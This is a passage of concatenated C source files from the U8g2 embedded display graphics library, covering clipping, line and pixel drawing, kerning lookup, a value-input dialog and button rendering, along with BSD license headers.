u8g2_uint_t c, u8g2_uint_t d) { u8g2_uint_t a = *ap; u8g2_uint_t b; b = a; b += *len; /* Description: clip range from a (included) to b (excluded) agains c (included) to d (excluded) Assumptions: a <= b (violation is checked and handled correctly) c <= d (this is not checked) will return 0 if there is no intersection and if a > b optimized clipping: c is set to 0 --> 27 Oct 2018: again removed the c==0 assumption replaced by uint8_t u8g2_clip_intersection2 */ /* handle the a>b case correctly. If code and time is critical, this could */ /* be removed completly (be aware about memory curruption for wrong */ /* arguments) or return 0 for a>b (will lead to skipped lines for wrong */ /* arguments) */ /* removing the following if clause completly may lead to memory corruption of a>b */ if ( a > b ) { /* replacing this if with a simple "return 0;" will not handle the case with negative a */ if ( a < d ) { b = d; b--; } else { a = c; } } /* from now on, the asumption a <= b is ok */ if ( a >= d ) return 0; if ( b <= c ) return 0; if ( a < c ) a = c; if ( b > d ) b = d; *ap = a; b -= a; *len = b; return 1; } /*==========================================================*/ /* draw procedures */ /* x,y Upper left position of the line within the pixel buffer len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) This function first adjusts the y position to the local buffer. Then it will clip the line and call u8g2_draw_low_level_hv_line() */ void u8g2_draw_hv_line_2dir(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { /* clipping happens before the display rotation */ /* transform to pixel buffer coordinates */ y -= u8g2->pixel_curr_row; u8g2->ll_hvline(u8g2, x, y, len, dir); } /* This is the toplevel function for the hv line draw procedures. This function should be called by the user. "dir" may have 4 directions: 0 (left to right), 1, 2, 3 (down up) */ void u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { /* Make a call to the callback function (e.g. u8g2_draw_l90_r0). */ /* The callback may rotate the hv line */ /* after rotation this will call u8g2_draw_hv_line_4dir() */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT if ( u8g2->is_page_clip_window_intersection != 0 ) #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ if ( len != 0 ) { /* convert to two directions */ if ( len > 1 ) { if ( dir == 2 ) { x -= len; x++; } else if ( dir == 3 ) { y -= len; y++; } } dir &= 1; /* clip against the user window */ if ( dir == 0 ) { if ( y < u8g2->user_y0 ) return; if ( y >= u8g2->user_y1 ) return; if ( u8g2_clip_intersection2(&x, &len, u8g2->user_x0, u8g2->user_x1) == 0 ) return; } else { if ( x < u8g2->user_x0 ) return; if ( x >= u8g2->user_x1 ) return; if ( u8g2_clip_intersection2(&y, &len, u8g2->user_y0, u8g2->user_y1) == 0 ) return; } u8g2->cb->draw_l90(u8g2, x, y, len, dir); } } void u8g2_DrawHLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len) { // #ifdef U8G2_WITH_INTERSECTION // if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) // return; // #endif /* U8G2_WITH_INTERSECTION */ u8g2_DrawHVLine(u8g2, x, y, len, 0); } void u8g2_DrawVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len) { // #ifdef U8G2_WITH_INTERSECTION // if ( u8g2_IsIntersection(u8g2, x, y, x+1, y+len) == 0 ) // return; // #endif /* U8G2_WITH_INTERSECTION */ u8g2_DrawHVLine(u8g2, x, y, len, 1); } void u8g2_DrawPixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y) { #ifdef U8G2_WITH_INTERSECTION if ( y < u8g2->user_y0 ) return; if ( y >= u8g2->user_y1 ) return; if ( x < u8g2->user_x0 ) return; if ( x >= u8g2->user_x1 ) return; #endif /* U8G2_WITH_INTERSECTION */ u8g2_DrawHVLine(u8g2, x, y, 1, 0); } /* Assign the draw color for all drawing functions. color may be 0 or 1. The actual color is defined by the display. With color = 1 the drawing function will set the display memory to 1. For OLEDs this ususally means, that the pixel is enabled and the LED at the pixel is turned on. On an LCD it usually means that the LCD segment of the pixel is enabled, which absorbs the light. For eInk/ePaper it means black ink. 7 Jan 2017: Allow color value 2 for XOR operation. */ void u8g2_SetDrawColor(u8g2_t *u8g2, uint8_t color) { u8g2->draw_color = color; /* u8g2_SetDrawColor: just assign the argument */ if ( color >= 3 ) u8g2->draw_color = 1; /* u8g2_SetDrawColor: make color as one if arg is invalid */ } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_input_value.c ================================================ /* u8g2_input_value.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* return: 0: value is not changed (HOME/Break Button pressed) 1: value has been updated */ uint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) { uint8_t line_height; uint8_t height; u8g2_uint_t pixel_height; u8g2_uint_t y, yy; u8g2_uint_t pixel_width; u8g2_uint_t x, xx; uint8_t local_value = *value; //uint8_t r; /* not used ??? */ uint8_t event; /* only horizontal strings are supported, so force this here */ u8g2_SetFontDirection(u8g2, 0); /* force baseline position */ u8g2_SetFontPosBaseline(u8g2); /* calculate line height */ line_height = u8g2_GetAscent(u8g2); line_height -= u8g2_GetDescent(u8g2); /* calculate overall height of the input value box */ height = 1; /* value input line */ height += u8x8_GetStringLineCnt(title); /* calculate the height in pixel */ pixel_height = height; pixel_height *= line_height; /* calculate offset from top */ y = 0; if ( pixel_height < u8g2_GetDisplayHeight(u8g2) ) { y = u8g2_GetDisplayHeight(u8g2); y -= pixel_height; y /= 2; } /* calculate offset from left for the label */ x = 0; pixel_width = u8g2_GetUTF8Width(u8g2, pre); pixel_width += u8g2_GetUTF8Width(u8g2, "0") * digits; pixel_width += u8g2_GetUTF8Width(u8g2, post); if ( pixel_width < u8g2_GetDisplayWidth(u8g2) ) { x = u8g2_GetDisplayWidth(u8g2); x -= pixel_width; x /= 2; } /* event loop */ for(;;) { u8g2_FirstPage(u8g2); do { /* render */ yy = y; yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title); xx = x; xx += u8g2_DrawUTF8(u8g2, xx, yy, pre); xx += u8g2_DrawUTF8(u8g2, xx, yy, u8x8_u8toa(local_value, digits)); u8g2_DrawUTF8(u8g2, xx, yy, post); } while( u8g2_NextPage(u8g2) ); #ifdef U8G2_REF_MAN_PIC return 0; #endif for(;;) { event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2)); if ( event == U8X8_MSG_GPIO_MENU_SELECT ) { *value = local_value; return 1; } else if ( event == U8X8_MSG_GPIO_MENU_HOME ) { return 0; } else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_UP ) { if ( local_value >= hi ) local_value = lo; else local_value++; break; } else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_DOWN ) { if ( local_value <= lo ) local_value = hi; else local_value--; break; } } } /* never reached */ //return r; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_intersection.c ================================================ /* u8g2_intersection.c Intersection calculation, code taken from u8g_clip.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" #ifdef __GNUC__ #define U8G2_ALWAYS_INLINE __inline__ __attribute__((always_inline)) #else #define U8G2_ALWAYS_INLINE #endif #if defined(U8G2_WITH_INTERSECTION) || defined(U8G2_WITH_CLIP_WINDOW_SUPPORT) #ifdef OLD_VERSION_WITH_SYMETRIC_BOUNDARIES /* intersection assumptions: a1 <= a2 is always true minimized version ---1----0 1 b1 <= a2 && b1 > b2 -----1--0 1 b2 >= a1 && b1 > b2 ---1-1--- 1 b1 <= a2 && b2 >= a1 */ /* calculate the intersection between a0/a1 and v0/v1 The intersection check returns one if the range of a0/a1 has an intersection with v0/v1. The intersection check includes the boundary values v1 and a1. The following asserts will succeed: assert( u8g2_is_intersection_decision_tree(4, 6, 7, 9) == 0 ); assert( u8g2_is_intersection_decision_tree(4, 6, 6, 9) != 0 ); assert( u8g2_is_intersection_decision_tree(6, 9, 4, 6) != 0 ); assert( u8g2_is_intersection_decision_tree(7, 9, 4, 6) == 0 ); */ //static uint8_t U8G2_ALWAYS_INLINE u8g2_is_intersection_decision_tree(u8g_uint_t a0, u8g_uint_t a1, u8g_uint_t v0, u8g_uint_t v1) static uint8_t u8g2_is_intersection_decision_tree(u8g2_uint_t a0, u8g2_uint_t a1, u8g2_uint_t v0, u8g2_uint_t v1) { if ( v0 <= a1 ) { if ( v1 >= a0 ) { return 1; } else { if ( v0 > v1 ) { return 1; } else { return 0; } } } else { if ( v1 >= a0 ) { if ( v0 > v1 ) { return 1; } else { return 0; } } else { return 0; } } } #endif /* OLD_VERSION_WITH_SYMETRIC_BOUNDARIES */ /* version with asymetric boundaries. a1 and v1 are excluded v0 == v1 is not support end return 1 */ uint8_t u8g2_is_intersection_decision_tree(u8g2_uint_t a0, u8g2_uint_t a1, u8g2_uint_t v0, u8g2_uint_t v1) { if ( v0 < a1 ) // v0 <= a1 { if ( v1 > a0 ) // v1 >= a0 { return 1; } else { if ( v0 > v1 ) // v0 > v1 { return 1; } else { return 0; } } } else { if ( v1 > a0 ) // v1 >= a0 { if ( v0 > v1 ) // v0 > v1 { return 1; } else { return 0; } } else { return 0; } } } /* upper limits are not included (asymetric boundaries) */ uint8_t u8g2_IsIntersection(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t x1, u8g2_uint_t y1) { if ( u8g2_is_intersection_decision_tree(u8g2->user_y0, u8g2->user_y1, y0, y1) == 0 ) return 0; return u8g2_is_intersection_decision_tree(u8g2->user_x0, u8g2->user_x1, x0, x1); } #endif /* U8G2_WITH_INTERSECTION */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_kerning.c ================================================ /* u8g2_kerning.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" /* this function is used as "u8g2_get_kerning_cb" */ /* uint8_t u8g2_GetNullKerning(u8g2_t *u8g2, uint16_t e1, uint16_t e2) { return 0; } */ /* this function is used as "u8g2_get_kerning_cb" */ uint8_t u8g2_GetKerning(U8X8_UNUSED u8g2_t *u8g2, u8g2_kerning_t *kerning, uint16_t e1, uint16_t e2) { uint16_t i1, i2, cnt, end; if ( kerning == NULL ) return 0; /* search for the encoding in the first table */ cnt = kerning->first_table_cnt; cnt--; /* ignore the last element of the table, which is 0x0ffff */ for( i1 = 0; i1 < cnt; i1++ ) { if ( kerning->first_encoding_table[i1] == e1 ) break; } if ( i1 >= cnt ) return 0; /* e1 not part of the kerning table, return 0 */ /* get the upper index for i2 */ end = kerning->index_to_second_table[i1+1]; for( i2 = kerning->index_to_second_table[i1]; i2 < end; i2++ ) { if ( kerning->second_encoding_table[i2] == e2 ) break; } if ( i2 >= end ) return 0; /* e2 not part of any pair with e1, return 0 */ return kerning->kerning_values[i2]; } uint8_t u8g2_GetKerningByTable(U8X8_UNUSED u8g2_t *u8g2, const uint16_t *kt, uint16_t e1, uint16_t e2) { uint16_t i; i = 0; if ( kt == NULL ) return 0; for(;;) { if ( kt[i] == 0x0ffff ) break; if ( kt[i] == e1 && kt[i+1] == e2 ) return kt[i+2]; i+=3; } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_line.c ================================================ /* u8g2_box.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" void u8g2_DrawLine(u8g2_t *u8g2, u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2) { u8g2_uint_t tmp; u8g2_uint_t x,y; u8g2_uint_t dx, dy; u8g2_int_t err; u8g2_int_t ystep; uint8_t swapxy = 0; /* no intersection check at the moment, should be added... */ if ( x1 > x2 ) dx = x1-x2; else dx = x2-x1; if ( y1 > y2 ) dy = y1-y2; else dy = y2-y1; if ( dy > dx ) { swapxy = 1; tmp = dx; dx =dy; dy = tmp; tmp = x1; x1 =y1; y1 = tmp; tmp = x2; x2 =y2; y2 = tmp; } if ( x1 > x2 ) { tmp = x1; x1 =x2; x2 = tmp; tmp = y1; y1 =y2; y2 = tmp; } err = dx >> 1; if ( y2 > y1 ) ystep = 1; else ystep = -1; y = y1; #ifndef U8G2_16BIT if ( x2 == 255 ) x2--; #else if ( x2 == 0xffff ) x2--; #endif for( x = x1; x <= x2; x++ ) { if ( swapxy == 0 ) u8g2_DrawPixel(u8g2, x, y); else u8g2_DrawPixel(u8g2, y, x); err -= (u8g2_uint_t)dy; if ( err < 0 ) { y += (u8g2_uint_t)ystep; err += (u8g2_uint_t)dx; } } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_ll_hvline.c ================================================ /* u8g2_ll_hvline.c low level hvline Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *ptr |= or_mask *ptr ^= xor_mask color = 0: or_mask = 1, xor_mask = 1 color = 1: or_mask = 1, xor_mask = 0 color = 2: or_mask = 0, xor_mask = 1 if ( color <= 1 ) or_mask = mask; if ( color != 1 ) xor_mask = mask; */ #include "u8g2.h" #include /*=================================================*/ /* u8g2_ll_hvline_vertical_top_lsb SSD13xx UC1701 */ #ifdef U8G2_WITH_HVLINE_SPEED_OPTIMIZATION /* x,y Upper left position of the line within the local buffer (not the display!) len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) asumption: all clipping done */ void u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { uint16_t offset; uint8_t *ptr; uint8_t bit_pos, mask; uint8_t or_mask, xor_mask; #ifdef __unix uint8_t *max_ptr = u8g2->tile_buf_ptr + u8g2_GetU8x8(u8g2)->display_info->tile_width*u8g2->tile_buf_height*8; #endif //assert(x >= u8g2->buf_x0); //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8); //assert(y >= u8g2->buf_y0); //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8); /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */ bit_pos = y; /* overflow truncate is ok here... */ bit_pos &= 7; /* ... because only the lowest 3 bits are needed */ mask = 1; mask <<= bit_pos; or_mask = 0; xor_mask = 0; if ( u8g2->draw_color <= 1 ) or_mask = mask; if ( u8g2->draw_color != 1 ) xor_mask = mask; offset = y; /* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */ offset &= ~7; offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width; ptr = u8g2->tile_buf_ptr; ptr += offset; ptr += x; if ( dir == 0 ) { do { #ifdef __unix assert(ptr < max_ptr); #endif *ptr |= or_mask; *ptr ^= xor_mask; ptr++; len--; } while( len != 0 ); } else { do { #ifdef __unix assert(ptr < max_ptr); #endif *ptr |= or_mask; *ptr ^= xor_mask; bit_pos++; bit_pos &= 7; len--; if ( bit_pos == 0 ) { ptr+=u8g2->pixel_buf_width; /* 6 Jan 17: Changed u8g2->width to u8g2->pixel_buf_width, issue #148 */ if ( u8g2->draw_color <= 1 ) or_mask = 1; if ( u8g2->draw_color != 1 ) xor_mask = 1; } else { or_mask <<= 1; xor_mask <<= 1; } } while( len != 0 ); } } #else /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */ /* x,y position within the buffer */ static void u8g2_draw_pixel_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y) { uint16_t offset; uint8_t *ptr; uint8_t bit_pos, mask; //assert(x >= u8g2->buf_x0); //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8); //assert(y >= u8g2->buf_y0); //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8); /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */ bit_pos = y; /* overflow truncate is ok here... */ bit_pos &= 7; /* ... because only the lowest 3 bits are needed */ mask = 1; mask <<= bit_pos; offset = y; /* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */ offset &= ~7; offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width; ptr = u8g2->tile_buf_ptr; ptr += offset; ptr += x; if ( u8g2->draw_color <= 1 ) *ptr |= mask; if ( u8g2->draw_color != 1 ) *ptr ^= mask; } /* x,y Upper left position of the line within the local buffer (not the display!) len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) asumption: all clipping done */ void u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { if ( dir == 0 ) { do { u8g2_draw_pixel_vertical_top_lsb(u8g2, x, y); x++; len--; } while( len != 0 ); } else { do { u8g2_draw_pixel_vertical_top_lsb(u8g2, x, y); y++; len--; } while( len != 0 ); } } #endif /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */ /*=================================================*/ /* u8g2_ll_hvline_horizontal_right_lsb ST7920 */ #ifdef U8G2_WITH_HVLINE_SPEED_OPTIMIZATION /* x,y Upper left position of the line within the local buffer (not the display!) len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) asumption: all clipping done */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ void u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { uint16_t offset; uint8_t *ptr; uint8_t bit_pos; uint8_t mask; uint8_t tile_width = u8g2_GetU8x8(u8g2)->display_info->tile_width; bit_pos = x; /* overflow truncate is ok here... */ bit_pos &= 7; /* ... because only the lowest 3 bits are needed */ mask = 128; mask >>= bit_pos; offset = y; /* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */ offset *= tile_width; offset += x>>3; ptr = u8g2->tile_buf_ptr; ptr += offset; if ( dir == 0 ) { do { if ( u8g2->draw_color <= 1 ) *ptr |= mask; if ( u8g2->draw_color != 1 ) *ptr ^= mask; mask >>= 1; if ( mask == 0 ) { mask = 128; ptr++; } //x++; len--; } while( len != 0 ); } else { do { if ( u8g2->draw_color <= 1 ) *ptr |= mask; if ( u8g2->draw_color != 1 ) *ptr ^= mask; ptr += tile_width; //y++; len--; } while( len != 0 ); } } #else /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */ /* x,y position within the buffer */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ static void u8g2_draw_pixel_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y) { uint16_t offset; uint8_t *ptr; uint8_t bit_pos, mask; //assert(x >= u8g2->buf_x0); //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8); //assert(y >= u8g2->buf_y0); //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8); /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */ bit_pos = x; /* overflow truncate is ok here... */ bit_pos &= 7; /* ... because only the lowest 3 bits are needed */ mask = 128; mask >>= bit_pos; x >>= 3; offset = y; /* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */ offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width; offset += x; ptr = u8g2->tile_buf_ptr; ptr += offset; if ( u8g2->draw_color <= 1 ) *ptr |= mask; if ( u8g2->draw_color != 1 ) *ptr ^= mask; } /* x,y Upper left position of the line within the local buffer (not the display!) len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) asumption: all clipping done */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ void u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { if ( dir == 0 ) { do { u8g2_draw_pixel_horizontal_right_lsb(u8g2, x, y); x++; len--; } while( len != 0 ); } else { do { u8g2_draw_pixel_horizontal_right_lsb(u8g2, x, y); y++; len--; } while( len != 0 ); } } #endif /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8g2_message.c ================================================ /* u8g2_message.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" #define SPACE_BETWEEN_BUTTONS_IN_PIXEL 6 #define SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL 3 uint8_t u8g2_draw_button_line(u8g2_t *u8g2, u8g2_uint_t y, u8g2_uint_t w, uint8_t cursor, const char *s) { u8g2_uint_t button_line_width; uint8_t i; uint8_t cnt; uint8_t is_invert; u8g2_uint_t d; u8g2_uint_t x; cnt = u8x8_GetStringLineCnt(s); /* calculate the width of the button line */ button_line_width = 0; for( i = 0; i < cnt; i++ ) { button_line_width += u8g2_GetUTF8Width(u8g2, u8x8_GetStringLineStart(i, s)); } button_line_width += (cnt-1)*SPACE_BETWEEN_BUTTONS_IN_PIXEL; /* add some space between the buttons */ /* calculate the left offset */ d = 0; if ( button_line_width < w ) { d = w; d -= button_line_width; d /= 2; } /* draw the buttons */ x = d; for( i = 0; i < cnt; i++ ) { is_invert = 0; if ( i == cursor ) is_invert = 1; u8g2_DrawUTF8Line(u8g2, x, y, 0, u8x8_GetStringLineStart(i, s), 1, is_invert); x += u8g2_GetUTF8Width(u8g2, u8x8_GetStringLineStart(i, s)); x += SPACE_BETWEEN_BUTTONS_IN_PIXEL; } /* return the number of buttons */ return cnt; } /* title1: Multiple lines,separated by '\n' title2: A single line/string which is terminated by 